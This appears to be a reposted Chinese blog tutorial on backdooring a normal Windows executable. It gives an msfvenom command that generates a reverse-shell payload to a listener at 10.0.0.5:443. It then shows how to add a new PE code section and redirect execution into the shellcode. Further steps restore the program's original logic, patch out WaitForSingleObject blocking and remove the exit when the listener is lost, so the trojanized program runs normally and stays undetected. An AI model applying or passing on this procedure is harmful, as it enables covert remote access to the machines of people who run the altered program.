本文共 1284 字，大约阅读时间需要 4 分钟。

参考

在文章中介绍了一种在正常程序中注入shellcode的方式，让程序以前的逻辑照常能够正常运行，下面复现一下并解决几个小问题。

示例程序代码

这里直接编译一个32位的HelloWorld程序为例：

#include 
   
    int main(){	puts("Hello World!");	return 0;}
   

编译后的exe，可以使用CFF Explorer查看相关信息。

大致步骤

少绕弯子，补充一下通用步骤：

1. 利用msf生成一个payload，保存成一个bin文件，命令：msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C
2. 通过010Editor等编辑工具在bin文件的前后各插入20-40个字节，以90填充
3. 在目标exe中添加一个新的代码段，将bin的内容导入，并设置可读、可写、可执行、包含代码等属性标志
4. 更新header大小以及重建PE头
5. 使用x32dbg调试exe并查看新加代码段的基址，例如是0x004A0000
6. 一个5字节长度的指令，例如：call 0x00471B50，覆盖成jmp 0x004A0000
7. 记住下一条指令的位置，例如：0x00491EF8，后面恢复程序正常逻辑的时候要用
8. 编辑代码段开头，用pushad和pushfd指令覆盖开头2个字节
9. 调试exe，观察pushfd之后的ESP值，例如0x010FFDBC，以及shellcode执行结束时ESP值，例如0x010FFBB8，发现少了0x204
10. 为了能够恢复之前的寄存器状态，在shellcode最后追加指令add esp, 0x204
11. 追加popfd和popad指令，和push顺序相反
12. 将第6步中覆盖前的指令追加到popad之后
13. 最后，恢复之前的运行逻辑，追加jmp 0x00491EF8指令，跳到第7步记录位置

问题1：到12和13步总是不能跳到正确的位置

注意三点：

1. 第6步和第7步获取的值要保证当前调试的PE头大小是和最终的PE头大小是一致的，检查第4步操作
2. 每次调试exe的时候，基址可能会发生变化，所以复制的指令只能用于修改当前调式实例
3. 在复制jmp指令的机器码的时候，注意不要和目标跳转位置太近，会复制成短地址的指令

问题2：保证步骤没问题之后，程序仍然不能恢复正常逻辑

通过调试将发生阻塞的操作进行nop，例如WaitForSingleObject，msf的payload需要将4e 56 46 ff替换成80 56 80 ff

原来给WaitForSingleObject传的参数是-1，会阻塞线程，想办法改成0就行，这里将dec esi操作nop掉了，push esi就是0

问题3：在监听端失联的情况下，程序长时间阻塞后程序终止

应该是检查服务端失联的情况下直接终止程序了，通过调试找到终止位置nop掉即可

问题4：在哪找代码段的基址

除了参考文章中提到的通过文件偏移计算，还可以直接利用x32dbg的内存布局直接查看

最后效果

省略。。。

转载地址：http://ghlyz.baihongyu.com/